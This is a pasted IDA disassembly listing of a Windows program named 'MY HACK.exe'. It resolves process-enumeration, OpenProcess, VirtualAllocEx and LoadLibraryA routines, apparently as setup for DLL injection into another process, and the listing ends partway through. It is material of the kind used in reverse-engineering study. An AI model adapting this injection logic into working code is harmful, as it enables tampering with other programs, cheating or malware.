All pastes #1305387 Raw Edit

Miscellany

public text v1 · immutable
#1305387 ·published 2009-01-10 21:46 UTC
rendered paste body
.text:00401000 ;
.text:00401000 ; +-------------------------------------------------------------------------+
.text:00401000 ; ¦     This file is generated by The Interactive Disassembler (IDA)        ¦
.text:00401000 ; ¦     Copyright (c) 2006 by DataRescue sa/nv, <ida@datarescue.com>        ¦
.text:00401000 ; ¦                      Licensed to: Freeware version                      ¦
.text:00401000 ; +-------------------------------------------------------------------------+
.text:00401000 ;
.text:00401000 ; File Name   : C:\Documents and Settings\....\MY HACK.exe
.text:00401000 ; Format      : Portable executable for 80386 (PE)
.text:00401000 ; Imagebase   : 400000
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size                  : 00004252 (  16978.)
.text:00401000 ; Section size in file          : 00005000 (  20480.)
.text:00401000 ; Offset to raw data for section: 00001000
.text:00401000 ; Flags 60000020: Text Executable Readable
.text:00401000 ; Alignment     : default
.text:00401000 ; OS type         :  MS Windows
.text:00401000 ; Application type:  Executable 32bit
.text:00401000
.text:00401000
.text:00401000 unicode         macro page,string,zero
.text:00401000                 irpc c,<string>
.text:00401000                 db '&c', page
.text:00401000                 endm
.text:00401000                 ifnb <zero>
.text:00401000                 dw zero
.text:00401000                 endif
.text:00401000 endm
.text:00401000
.text:00401000                 .686p
.text:00401000                 .mmx
.text:00401000                 .model flat
.text:00401000
.text:00401000 ; ---------------------------------------------------------------------------
.text:00401000
.text:00401000 ; Segment type: Pure code
.text:00401000 ; Segment permissions: Read/Execute
.text:00401000 _text           segment para public 'CODE' use32
.text:00401000                 assume cs:_text
.text:00401000                 ;org 401000h
.text:00401000                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:00401000
.text:00401000 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401000
.text:00401000
.text:00401000 sub_401000      proc near               ; CODE XREF: sub_401080+7p
.text:00401000                                         ; sub_4014B0+18p
.text:00401000
.text:00401000 VersionInformation= _OSVERSIONINFOA ptr -94h
.text:00401000 arg_0           = dword ptr  4
.text:00401000
.text:00401000                 sub     esp, 94h
.text:00401006                 lea     eax, [esp+94h+VersionInformation]
.text:0040100A                 mov     [esp+94h+VersionInformation.dwOSVersionInfoSize], 94h
.text:00401012                 push    eax             ; lpVersionInformation
.text:00401013                 call    ds:GetVersionExA ; Get extended information about the
.text:00401013                                         ; version of the operating system
.text:00401019                 test    eax, eax
.text:0040101B                 jnz     short loc_401026
.text:0040101D                 xor     al, al
.text:0040101F                 add     esp, 94h
.text:00401025                 retn
.text:00401026 ; ---------------------------------------------------------------------------
.text:00401026
.text:00401026 loc_401026:                             ; CODE XREF: sub_401000+1Bj
.text:00401026                 mov     edx, [esp+94h+VersionInformation.dwPlatformId]
.text:0040102A                 push    esi
.text:0040102B                 mov     esi, [esp+98h+VersionInformation.dwMajorVersion]
.text:0040102F                 push    edi
.text:00401030                 mov     edi, [esp+9Ch+VersionInformation.dwMinorVersion]
.text:00401034                 cmp     edx, 1
.text:00401037                 jnz     short loc_401047
.text:00401039                 cmp     esi, 4
.text:0040103C                 jnz     short loc_401047
.text:0040103E                 cmp     edi, 0Ah
.text:00401041                 ja      short loc_401047
.text:00401043                 mov     cl, 1
.text:00401045                 jmp     short loc_401049
.text:00401047 ; ---------------------------------------------------------------------------
.text:00401047
.text:00401047 loc_401047:                             ; CODE XREF: sub_401000+37j
.text:00401047                                         ; sub_401000+3Cj ...
.text:00401047                 xor     cl, cl
.text:00401049
.text:00401049 loc_401049:                             ; CODE XREF: sub_401000+45j
.text:00401049                 mov     eax, [esp+9Ch+arg_0]
.text:00401050                 cmp     edx, 1
.text:00401053                 mov     [eax], cl
.text:00401055                 jnz     short loc_401065
.text:00401057                 cmp     esi, 4
.text:0040105A                 jnz     short loc_401065
.text:0040105C                 cmp     edi, 5Ah
.text:0040105F                 jb      short loc_401065
.text:00401061                 mov     cl, dl
.text:00401063                 jmp     short loc_401067
.text:00401065 ; ---------------------------------------------------------------------------
.text:00401065
.text:00401065 loc_401065:                             ; CODE XREF: sub_401000+55j
.text:00401065                                         ; sub_401000+5Aj ...
.text:00401065                 xor     cl, cl
.text:00401067
.text:00401067 loc_401067:                             ; CODE XREF: sub_401000+63j
.text:00401067                 cmp     edx, 2
.text:0040106A                 mov     [eax+1], cl
.text:0040106D                 setz    cl
.text:00401070                 mov     [eax+2], cl
.text:00401073                 pop     edi
.text:00401074                 mov     al, 1
.text:00401076                 pop     esi
.text:00401077                 add     esp, 94h
.text:0040107D                 retn
.text:0040107D sub_401000      endp
.text:0040107D
.text:0040107D ; ---------------------------------------------------------------------------
.text:0040107E                 align 10h
.text:00401080
.text:00401080 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401080
.text:00401080
.text:00401080 sub_401080      proc near               ; CODE XREF: sub_4011D0+17p
.text:00401080                                         ; sub_401380+16p ...
.text:00401080
.text:00401080 var_4           = dword ptr -4
.text:00401080 arg_0           = dword ptr  4
.text:00401080
.text:00401080                 push    ecx
.text:00401081                 lea     eax, [esp+4+var_4]
.text:00401085                 push    edi
.text:00401086                 push    eax
.text:00401087                 call    sub_401000
.text:0040108C                 add     esp, 4
.text:0040108F                 test    al, al
.text:00401091                 jnz     short loc_401096
.text:00401093                 pop     edi
.text:00401094                 pop     ecx
.text:00401095                 retn
.text:00401096 ; ---------------------------------------------------------------------------
.text:00401096
.text:00401096 loc_401096:                             ; CODE XREF: sub_401080+11j
.text:00401096                 push    offset LibFileName ; "kernel32.dll"
.text:0040109B                 call    ds:GetModuleHandleA
.text:004010A1                 mov     edi, eax
.text:004010A3                 test    edi, edi
.text:004010A5                 jnz     short loc_4010BD
.text:004010A7                 push    offset LibFileName ; "kernel32.dll"
.text:004010AC                 call    ds:LoadLibraryA
.text:004010B2                 mov     edi, eax
.text:004010B4                 test    edi, edi
.text:004010B6                 jnz     short loc_4010BD
.text:004010B8                 xor     al, al
.text:004010BA                 pop     edi
.text:004010BB                 pop     ecx
.text:004010BC                 retn
.text:004010BD ; ---------------------------------------------------------------------------
.text:004010BD
.text:004010BD loc_4010BD:                             ; CODE XREF: sub_401080+25j
.text:004010BD                                         ; sub_401080+36j
.text:004010BD                 push    ebx
.text:004010BE                 mov     ebx, ds:GetProcAddress
.text:004010C4                 push    esi
.text:004010C5                 push    offset ProcName ; "CreateToolhelp32Snapshot"
.text:004010CA                 push    edi             ; hModule
.text:004010CB                 call    ebx ; GetProcAddress
.text:004010CD                 mov     esi, [esp+10h+arg_0]
.text:004010D1                 push    offset aProcess32first ; "Process32First"
.text:004010D6                 push    edi             ; hModule
.text:004010D7                 mov     [esi], eax
.text:004010D9                 call    ebx ; GetProcAddress
.text:004010DB                 push    offset aProcess32next ; "Process32Next"
.text:004010E0                 push    edi             ; hModule
.text:004010E1                 mov     [esi+4], eax
.text:004010E4                 call    ebx ; GetProcAddress
.text:004010E6                 push    offset aModule32first ; "Module32First"
.text:004010EB                 push    edi             ; hModule
.text:004010EC                 mov     [esi+8], eax
.text:004010EF                 call    ebx ; GetProcAddress
.text:004010F1                 push    offset aModule32next ; "Module32Next"
.text:004010F6                 push    edi             ; hModule
.text:004010F7                 mov     [esi+0Ch], eax
.text:004010FA                 call    ebx ; GetProcAddress
.text:004010FC                 push    offset aThread32first ; "Thread32First"
.text:00401101                 push    edi             ; hModule
.text:00401102                 mov     [esi+10h], eax
.text:00401105                 call    ebx ; GetProcAddress
.text:00401107                 push    offset aThread32next ; "Thread32Next"
.text:0040110C                 push    edi             ; hModule
.text:0040110D                 mov     [esi+14h], eax
.text:00401110                 call    ebx ; GetProcAddress
.text:00401112                 push    offset aOpenprocess ; "OpenProcess"
.text:00401117                 push    edi             ; hModule
.text:00401118                 mov     [esi+18h], eax
.text:0040111B                 call    ebx ; GetProcAddress
.text:0040111D                 push    offset aOpenthread ; "OpenThread"
.text:00401122                 push    edi             ; hModule
.text:00401123                 mov     [esi+1Ch], eax
.text:00401126                 call    ebx ; GetProcAddress
.text:00401128                 push    offset aVirtualallocex ; "VirtualAllocEx"
.text:0040112D                 push    edi             ; hModule
.text:0040112E                 mov     [esi+20h], eax
.text:00401131                 call    ebx ; GetProcAddress
.text:00401133                 push    offset aVirtualfreeex ; "VirtualFreeEx"
.text:00401138                 push    edi             ; hModule
.text:00401139                 mov     [esi+24h], eax
.text:0040113C                 call    ebx ; GetProcAddress
.text:0040113E                 mov     [esi+28h], eax
.text:00401141                 mov     al, byte ptr [esp+10h+var_4]
.text:00401145                 test    al, al
.text:00401147                 jz      short loc_401152
.text:00401149                 mov     dword ptr [esi+20h], offset sub_401980
.text:00401150                 jmp     short loc_40115A
.text:00401152 ; ---------------------------------------------------------------------------
.text:00401152
.text:00401152 loc_401152:                             ; CODE XREF: sub_401080+C7j
.text:00401152                 mov     al, byte ptr [esp+10h+var_4+1]
.text:00401156                 test    al, al
.text:00401158                 jz      short loc_401168
.text:0040115A
.text:0040115A loc_40115A:                             ; CODE XREF: sub_401080+D0j
.text:0040115A                 mov     dword ptr [esi+24h], offset loc_401A10
.text:00401161                 mov     dword ptr [esi+28h], offset loc_401A60
.text:00401168
.text:00401168 loc_401168:                             ; CODE XREF: sub_401080+D8j
.text:00401168                 cmp     dword ptr [esi], 0
.text:0040116B                 jz      short loc_4011BD
.text:0040116D                 mov     eax, [esi+4]
.text:00401170                 test    eax, eax
.text:00401172                 jz      short loc_4011BD
.text:00401174                 mov     eax, [esi+8]
.text:00401177                 test    eax, eax
.text:00401179                 jz      short loc_4011BD
.text:0040117B                 mov     eax, [esi+0Ch]
.text:0040117E                 test    eax, eax
.text:00401180                 jz      short loc_4011BD
.text:00401182                 mov     eax, [esi+10h]
.text:00401185                 test    eax, eax
.text:00401187                 jz      short loc_4011BD
.text:00401189                 mov     eax, [esi+14h]
.text:0040118C                 test    eax, eax
.text:0040118E                 jz      short loc_4011BD
.text:00401190                 mov     eax, [esi+18h]
.text:00401193                 test    eax, eax
.text:00401195                 jz      short loc_4011BD
.text:00401197                 mov     eax, [esi+1Ch]
.text:0040119A                 test    eax, eax
.text:0040119C                 jz      short loc_4011BD
.text:0040119E                 mov     eax, [esi+20h]
.text:004011A1                 test    eax, eax
.text:004011A3                 jz      short loc_4011BD
.text:004011A5                 mov     eax, [esi+24h]
.text:004011A8                 test    eax, eax
.text:004011AA                 jz      short loc_4011BD
.text:004011AC                 mov     eax, [esi+28h]
.text:004011AF                 test    eax, eax
.text:004011B1                 jz      short loc_4011BD
.text:004011B3                 pop     esi
.text:004011B4                 pop     ebx
.text:004011B5                 mov     eax, 1
.text:004011BA                 pop     edi
.text:004011BB                 pop     ecx
.text:004011BC                 retn
.text:004011BD ; ---------------------------------------------------------------------------
.text:004011BD
.text:004011BD loc_4011BD:                             ; CODE XREF: sub_401080+EBj
.text:004011BD                                         ; sub_401080+F2j ...
.text:004011BD                 pop     esi
.text:004011BE                 pop     ebx
.text:004011BF                 xor     eax, eax
.text:004011C1                 pop     edi
.text:004011C2                 pop     ecx
.text:004011C3                 retn
.text:004011C3 sub_401080      endp
.text:004011C3
.text:004011C3 ; ---------------------------------------------------------------------------
.text:004011C4                 align 10h
.text:004011D0
.text:004011D0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:004011D0
.text:004011D0
.text:004011D0 sub_4011D0      proc near               ; CODE XREF: sub_401380+38p
.text:004011D0                                         ; sub_4014B0+78p
.text:004011D0
.text:004011D0 var_178         = dword ptr -178h
.text:004011D0 var_16C         = dword ptr -16Ch
.text:004011D0 var_168         = dword ptr -168h
.text:004011D0 var_164         = dword ptr -164h
.text:004011D0 var_160         = dword ptr -160h
.text:004011D0 var_150         = dword ptr -150h
.text:004011D0 var_148         = dword ptr -148h
.text:004011D0 var_138         = dword ptr -138h
.text:004011D0 var_130         = dword ptr -130h
.text:004011D0 var_11C         = dword ptr -11Ch
.text:004011D0 var_114         = dword ptr -114h
.text:004011D0 var_28          = dword ptr -28h
.text:004011D0 var_C           = dword ptr -0Ch
.text:004011D0
.text:004011D0                 mov     al, byte_407A64
.text:004011D5                 sub     esp, 144h
.text:004011DB                 test    al, al
.text:004011DD                 push    ebx
.text:004011DE                 push    esi
.text:004011DF                 push    edi
.text:004011E0                 jnz     short loc_401202
.text:004011E2                 push    offset dword_407A38
.text:004011E7                 call    sub_401080
.text:004011EC                 add     esp, 4
.text:004011EF                 mov     byte_407A64, al
.text:004011F4                 test    al, al
.text:004011F6                 jnz     short loc_401202
.text:004011F8                 pop     edi
.text:004011F9                 pop     esi
.text:004011FA                 pop     ebx
.text:004011FB                 add     esp, 144h
.text:00401201                 retn
.text:00401202 ; ---------------------------------------------------------------------------
.text:00401202
.text:00401202 loc_401202:                             ; CODE XREF: sub_4011D0+10j
.text:00401202                                         ; sub_4011D0+26j
.text:00401202                 push    0
.text:00401204                 push    2
.text:00401206                 call    dword_407A38
.text:0040120C                 mov     esi, eax
.text:0040120E                 cmp     esi, 0FFFFFFFFh
.text:00401211                 jnz     short loc_40121F
.text:00401213                 pop     edi
.text:00401214                 pop     esi
.text:00401215                 xor     al, al
.text:00401217                 pop     ebx
.text:00401218                 add     esp, 144h
.text:0040121E                 retn
.text:0040121F ; ---------------------------------------------------------------------------
.text:0040121F
.text:0040121F loc_40121F:                             ; CODE XREF: sub_4011D0+41j
.text:0040121F                 lea     eax, [esp+28h]
.text:00401223                 mov     dword ptr [esp+28h], 128h
.text:0040122B                 push    eax
.text:0040122C                 push    esi
.text:0040122D                 xor     bl, bl
.text:0040122F                 call    dword_407A3C
.text:00401235                 mov     edi, ds:CloseHandle
.text:0040123B                 test    eax, eax
.text:0040123D                 jz      short loc_401281
.text:0040123F                 push    ebp
.text:00401240                 mov     ebp, [esp+158h]
.text:00401247                 lea     ecx, [esp+50h]
.text:0040124B                 push    ebp
.text:0040124C                 push    ecx
.text:0040124D                 call    sub_401B00
.text:00401252                 add     esp, 8
.text:00401255                 test    al, al
.text:00401257                 jnz     short loc_40127B
.text:00401259
.text:00401259 loc_401259:                             ; CODE XREF: sub_4011D0+A9j
.text:00401259                 lea     edx, [esp+2Ch]
.text:0040125D                 push    edx
.text:0040125E                 push    esi
.text:0040125F                 call    dword_407A40
.text:00401265                 test    eax, eax
.text:00401267                 jz      short loc_401280
.text:00401269                 lea     eax, [esp+50h]
.text:0040126D                 push    ebp
.text:0040126E                 push    eax
.text:0040126F                 call    sub_401B00
.text:00401274                 add     esp, 8
.text:00401277                 test    al, al
.text:00401279                 jz      short loc_401259
.text:0040127B
.text:0040127B loc_40127B:                             ; CODE XREF: sub_4011D0+87j
.text:0040127B                 push    esi             ; hObject
.text:0040127C                 call    edi ; CloseHandle
.text:0040127E                 mov     bl, 1
.text:00401280
.text:00401280 loc_401280:                             ; CODE XREF: sub_4011D0+97j
.text:00401280                 pop     ebp
.text:00401281
.text:00401281 loc_401281:                             ; CODE XREF: sub_4011D0+6Dj
.text:00401281                 push    esi             ; hObject
.text:00401282                 call    edi ; CloseHandle
.text:00401284                 test    bl, bl
.text:00401286                 jnz     short loc_401294
.text:00401288                 pop     edi
.text:00401289                 pop     esi
.text:0040128A                 xor     al, al
.text:0040128C                 pop     ebx
.text:0040128D                 add     esp, 144h
.text:00401293                 retn
.text:00401294 ; ---------------------------------------------------------------------------
.text:00401294
.text:00401294 loc_401294:                             ; CODE XREF: sub_4011D0+B6j
.text:00401294                 push    0
.text:00401296                 push    4
.text:00401298                 call    dword_407A38
.text:0040129E                 mov     esi, eax
.text:004012A0                 cmp     esi, 0FFFFFFFFh
.text:004012A3                 jnz     short loc_4012B1
.text:004012A5                 pop     edi
.text:004012A6                 pop     esi
.text:004012A7                 xor     al, al
.text:004012A9                 pop     ebx
.text:004012AA                 add     esp, 144h
.text:004012B0                 retn
.text:004012B1 ; ---------------------------------------------------------------------------
.text:004012B1
.text:004012B1 loc_4012B1:                             ; CODE XREF: sub_4011D0+D3j
.text:004012B1                 lea     ecx, [esp+0Ch]
.text:004012B5                 mov     dword ptr [esp+0Ch], 1Ch
.text:004012BD                 push    ecx
.text:004012BE                 push    esi
.text:004012BF                 xor     bl, bl
.text:004012C1                 call    dword_407A4C
.text:004012C7                 test    eax, eax
.text:004012C9                 jz      short loc_4012F8
.text:004012CB                 mov     edx, [esp+150h+var_138]
.text:004012CF                 mov     eax, [esp+30h]
.text:004012D3                 cmp     edx, eax
.text:004012D5                 jz      short loc_4012F3
.text:004012D7
.text:004012D7 loc_4012D7:                             ; CODE XREF: sub_4011D0+121j
.text:004012D7                 lea     eax, [esp+0Ch]
.text:004012DB                 push    eax
.text:004012DC                 push    esi
.text:004012DD                 call    dword_407A50
.text:004012E3                 test    eax, eax
.text:004012E5                 jz      short loc_4012F8
.text:004012E7                 mov     ecx, [esp+150h+var_138]
.text:004012EB                 mov     eax, [esp+30h]
.text:004012EF                 cmp     ecx, eax
.text:004012F1                 jnz     short loc_4012D7
.text:004012F3
.text:004012F3 loc_4012F3:                             ; CODE XREF: sub_4011D0+105j
.text:004012F3                 push    esi             ; hObject
.text:004012F4                 call    edi ; CloseHandle
.text:004012F6                 mov     bl, 1
.text:004012F8
.text:004012F8 loc_4012F8:                             ; CODE XREF: sub_4011D0+F9j
.text:004012F8                                         ; sub_4011D0+115j
.text:004012F8                 push    esi             ; hObject
.text:004012F9                 call    edi ; CloseHandle
.text:004012FB                 test    bl, bl
.text:004012FD                 jnz     short loc_40130B
.text:004012FF                 pop     edi
.text:00401300                 pop     esi
.text:00401301                 xor     al, al
.text:00401303                 pop     ebx
.text:00401304                 add     esp, 144h
.text:0040130A                 retn
.text:0040130B ; ---------------------------------------------------------------------------
.text:0040130B
.text:0040130B loc_40130B:                             ; CODE XREF: sub_4011D0+12Dj
.text:0040130B                 mov     eax, [esp+30h]
.text:0040130F                 mov     esi, [esp+158h]
.text:00401316                 push    eax
.text:00401317                 push    0
.text:00401319                 push    1F0FFFh
.text:0040131E                 mov     [esi+8], eax
.text:00401321                 call    dword_407A54
.text:00401327                 test    eax, eax
.text:00401329                 mov     [esi], eax
.text:0040132B                 jnz     short loc_401339
.text:0040132D                 pop     edi
.text:0040132E                 pop     esi
.text:0040132F                 xor     al, al
.text:00401331                 pop     ebx
.text:00401332                 add     esp, 144h
.text:00401338                 retn
.text:00401339 ; ---------------------------------------------------------------------------
.text:00401339
.text:00401339 loc_401339:                             ; CODE XREF: sub_4011D0+15Bj
.text:00401339                 mov     eax, [esp+14h]
.text:0040133D                 push    eax
.text:0040133E                 push    0
.text:00401340                 push    1F03FFh
.text:00401345                 mov     [esi+0Ch], eax
.text:00401348                 call    dword_407A58
.text:0040134E                 test    eax, eax
.text:00401350                 mov     [esi+4], eax
.text:00401353                 jnz     short loc_401366
.text:00401355                 mov     edx, [esi]
.text:00401357                 push    edx             ; hObject
.text:00401358                 call    edi ; CloseHandle
.text:0040135A                 pop     edi
.text:0040135B                 pop     esi
.text:0040135C                 xor     al, al
.text:0040135E                 pop     ebx
.text:0040135F                 add     esp, 144h
.text:00401365                 retn
.text:00401366 ; ---------------------------------------------------------------------------
.text:00401366
.text:00401366 loc_401366:                             ; CODE XREF: sub_4011D0+183j
.text:00401366                 pop     edi
.text:00401367                 pop     esi
.text:00401368                 mov     al, 1
.text:0040136A                 pop     ebx
.text:0040136B                 add     esp, 144h
.text:00401371                 retn
.text:00401371 sub_4011D0      endp
.text:00401371
.text:00401371 ; ---------------------------------------------------------------------------
.text:00401372                 align 10h
.text:00401380
.text:00401380 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401380
.text:00401380
.text:00401380 sub_401380      proc near               ; CODE XREF: sub_4014B0+62p
.text:00401380                                         ; sub_4014B0+266p
.text:00401380
.text:00401380 var_24C         = dword ptr -24Ch
.text:00401380 var_248         = dword ptr -248h
.text:00401380 var_244         = dword ptr -244h
.text:00401380 var_240         = dword ptr -240h
.text:00401380 var_23C         = dword ptr -23Ch
.text:00401380 var_238         = dword ptr -238h
.text:00401380 hObject         = dword ptr -234h
.text:00401380 var_22C         = dword ptr -22Ch
.text:00401380 var_11C         = dword ptr -11Ch
.text:00401380 var_114         = dword ptr -114h
.text:00401380 var_C           = dword ptr -0Ch
.text:00401380 var_8           = dword ptr -8
.text:00401380 arg_0           = dword ptr  4
.text:00401380
.text:00401380                 mov     al, byte_407A64
.text:00401385                 sub     esp, 234h
.text:0040138B                 test    al, al
.text:0040138D                 push    ebx
.text:0040138E                 push    esi
.text:0040138F                 jnz     short loc_4013AB
.text:00401391                 push    offset dword_407A38
.text:00401396                 call    sub_401080
.text:0040139B                 add     esp, 4
.text:0040139E                 mov     byte_407A64, al
.text:004013A3                 test    al, al
.text:004013A5                 jz      loc_4014A5
.text:004013AB
.text:004013AB loc_4013AB:                             ; CODE XREF: sub_401380+Fj
.text:004013AB                 mov     ecx, [esp+23Ch+arg_0]
.text:004013B2                 lea     eax, [esp+23Ch+hObject]
.text:004013B6                 push    eax
.text:004013B7                 push    ecx
.text:004013B8                 call    sub_4011D0
.text:004013BD                 add     esp, 8
.text:004013C0                 test    al, al
.text:004013C2                 jz      loc_4014A5
.text:004013C8                 mov     edx, [esp+23Ch+var_22C]
.text:004013CC                 push    edx
.text:004013CD                 push    8
.text:004013CF                 call    dword_407A38
.text:004013D5                 mov     ebx, eax
.text:004013D7                 cmp     ebx, 0FFFFFFFFh
.text:004013DA                 jnz     short loc_4013FB
.text:004013DC                 mov     eax, [esp+0Ch]
.text:004013E0                 mov     esi, ds:CloseHandle
.text:004013E6                 push    eax             ; hObject
.text:004013E7                 call    esi ; CloseHandle
.text:004013E9                 mov     ecx, [esp+23Ch+hObject]
.text:004013ED                 push    ecx             ; hObject
.text:004013EE                 call    esi ; CloseHandle
.text:004013F0                 pop     esi
.text:004013F1                 xor     al, al
.text:004013F3                 pop     ebx
.text:004013F4                 add     esp, 234h
.text:004013FA                 retn
.text:004013FB ; ---------------------------------------------------------------------------
.text:004013FB
.text:004013FB loc_4013FB:                             ; CODE XREF: sub_401380+5Aj
.text:004013FB                 lea     edx, [esp+18h]
.text:004013FF                 mov     dword ptr [esp+18h], 224h
.text:00401407                 push    edx
.text:00401408                 push    ebx
.text:00401409                 call    dword_407A44
.text:0040140F                 test    eax, eax
.text:00401411                 jz      short loc_40148E
.text:00401413                 mov     esi, [esp+244h]
.text:0040141A                 lea     eax, [esp+138h]
.text:00401421                 push    esi
.text:00401422                 push    eax
.text:00401423                 call    sub_401B00
.text:00401428                 add     esp, 8
.text:0040142B                 test    al, al
.text:0040142D                 jnz     short loc_401454
.text:0040142F
.text:0040142F loc_40142F:                             ; CODE XREF: sub_401380+D2j
.text:0040142F                 lea     ecx, [esp+18h]
.text:00401433                 push    ecx
.text:00401434                 push    ebx
.text:00401435                 call    dword_407A48
.text:0040143B                 test    eax, eax
.text:0040143D                 jz      short loc_40148E
.text:0040143F                 lea     edx, [esp+138h]
.text:00401446                 push    esi
.text:00401447                 push    edx
.text:00401448                 call    sub_401B00
.text:0040144D                 add     esp, 8
.text:00401450                 test    al, al
.text:00401452                 jz      short loc_40142F
.text:00401454
.text:00401454 loc_401454:                             ; CODE XREF: sub_401380+ADj
.text:00401454                 push    edi
.text:00401455                 mov     edi, [esp+248h+arg_0]
.text:0040145C                 test    edi, edi
.text:0040145E                 jz      short loc_40146B
.text:00401460                 mov     ecx, 89h
.text:00401465                 lea     esi, [esp+248h+var_22C]
.text:00401469                 rep movsd
.text:0040146B
.text:0040146B loc_40146B:                             ; CODE XREF: sub_401380+DEj
.text:0040146B                 mov     eax, [esp+248h+var_238]
.text:0040146F                 mov     esi, ds:CloseHandle
.text:00401475                 push    eax             ; hObject
.text:00401476                 call    esi ; CloseHandle
.text:00401478                 mov     ecx, [esp+248h+var_23C]
.text:0040147C                 push    ecx             ; hObject
.text:0040147D                 call    esi ; CloseHandle
.text:0040147F                 push    ebx             ; hObject
.text:00401480                 call    esi ; CloseHandle
.text:00401482                 pop     edi
.text:00401483                 pop     esi
.text:00401484                 mov     al, 1
.text:00401486                 pop     ebx
.text:00401487                 add     esp, 234h
.text:0040148D                 retn
.text:0040148E ; ---------------------------------------------------------------------------
.text:0040148E
.text:0040148E loc_40148E:                             ; CODE XREF: sub_401380+91j
.text:0040148E                                         ; sub_401380+BDj
.text:0040148E                 mov     edx, [esp+0Ch]
.text:00401492                 mov     esi, ds:CloseHandle
.text:00401498                 push    edx             ; hObject
.text:00401499                 call    esi ; CloseHandle
.text:0040149B                 mov     eax, [esp+23Ch+hObject]
.text:0040149F                 push    eax             ; hObject
.text:004014A0                 call    esi ; CloseHandle
.text:004014A2                 push    ebx             ; hObject
.text:004014A3                 call    esi ; CloseHandle
.text:004014A5
.text:004014A5 loc_4014A5:                             ; CODE XREF: sub_401380+25j
.text:004014A5                                         ; sub_401380+42j
.text:004014A5                 pop     esi
.text:004014A6                 xor     al, al
.text:004014A8                 pop     ebx
.text:004014A9                 add     esp, 234h
.text:004014AF                 retn
.text:004014AF sub_401380      endp
.text:004014AF
.text:004014B0
.text:004014B0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:004014B0
.text:004014B0
.text:004014B0 sub_4014B0      proc near               ; CODE XREF: StartAddress+13Cp
.text:004014B0
.text:004014B0 var_6E4         = dword ptr -6E4h
.text:004014B0 var_6E0         = dword ptr -6E0h
.text:004014B0 var_6D4         = dword ptr -6D4h
.text:004014B0 var_6D0         = dword ptr -6D0h
.text:004014B0 var_6C4         = dword ptr -6C4h
.text:004014B0 hProcess        = dword ptr -6C0h
.text:004014B0 hObject         = dword ptr -6BCh
.text:004014B0 var_6B6         = byte ptr -6B6h
.text:004014B0 var_6B5         = word ptr -6B5h
.text:004014B0 ExitCode        = dword ptr -6B3h
.text:004014B0 var_5AC         = dword ptr -5ACh
.text:004014B0 var_4F4         = dword ptr -4F4h
.text:004014B0 var_2E0         = dword ptr -2E0h
.text:004014B0 arg_0           = dword ptr  4
.text:004014B0 arg_4           = dword ptr  8
.text:004014B0
.text:004014B0                 mov     al, byte_407A33
.text:004014B5                 sub     esp, 6C0h
.text:004014BB                 test    al, al
.text:004014BD                 push    ebx
.text:004014BE                 push    ebp
.text:004014BF                 push    esi
.text:004014C0                 push    edi
.text:004014C1                 jnz     short loc_4014DD
.text:004014C3                 push    offset byte_407A30
.text:004014C8                 call    sub_401000
.text:004014CD                 add     esp, 4
.text:004014D0                 mov     byte_407A33, al
.text:004014D5                 test    al, al
.text:004014D7                 jz      loc_401701
.text:004014DD
.text:004014DD loc_4014DD:                             ; CODE XREF: sub_4014B0+11j
.text:004014DD                 mov     al, byte_407A64
.text:004014E2                 test    al, al
.text:004014E4                 jnz     short loc_401500
.text:004014E6                 push    offset dword_407A38
.text:004014EB                 call    sub_401080
.text:004014F0                 add     esp, 4
.text:004014F3                 mov     byte_407A64, al
.text:004014F8                 test    al, al
.text:004014FA                 jz      loc_401701
.text:00401500
.text:00401500 loc_401500:                             ; CODE XREF: sub_4014B0+34j
.text:00401500                 mov     edi, [esp+6D0h+arg_4]
.text:00401507                 mov     ebx, [esp+6D0h+arg_0]
.text:0040150E                 push    0
.text:00401510                 push    edi
.text:00401511                 push    ebx
.text:00401512                 call    sub_401380
.text:00401517                 add     esp, 0Ch
.text:0040151A                 cmp     al, 1
.text:0040151C                 jz      loc_401971
.text:00401522                 lea     eax, [esp+6D0h+hProcess]
.text:00401526                 push    eax
.text:00401527                 push    ebx
.text:00401528                 call    sub_4011D0
.text:0040152D                 add     esp, 8
.text:00401530                 test    al, al
.text:00401532                 jz      loc_401701
.text:00401538                 mov     eax, dword_407A68
.text:0040153D                 test    eax, eax
.text:0040153F                 jnz     short loc_401599
.text:00401541                 push    offset LibFileName ; "kernel32.dll"
.text:00401546                 call    ds:GetModuleHandleA
.text:0040154C                 test    eax, eax
.text:0040154E                 jnz     short loc_401563
.text:00401550                 push    offset LibFileName ; "kernel32.dll"
.text:00401555                 call    ds:LoadLibraryA
.text:0040155B                 test    eax, eax
.text:0040155D                 jz      loc_401701
.text:00401563
.text:00401563 loc_401563:                             ; CODE XREF: sub_4014B0+9Ej
.text:00401563                 push    offset aLoadlibrarya ; "LoadLibraryA"
.text:00401568                 push    eax             ; hModule
.text:00401569                 call    ds:GetProcAddress
.text:0040156F                 test    eax, eax
.text:00401571                 mov     dword_407A68, eax
.text:00401576                 jnz     short loc_401599
.text:00401578
.text:00401578 loc_401578:                             ; CODE XREF: sub_4014B0+106j
.text:00401578                                         ; sub_4014B0+305j
.text:00401578                 mov     ecx, [esp+6D0h+hObject]
.text:0040157C                 mov     esi, ds:CloseHandle
.text:00401582                 push    ecx             ; hObject
.text:00401583                 call    esi ; CloseHandle
.text:00401585                 mov     edx, [esp+6D0h+hProcess]
.text:00401589                 push    edx             ; hObject
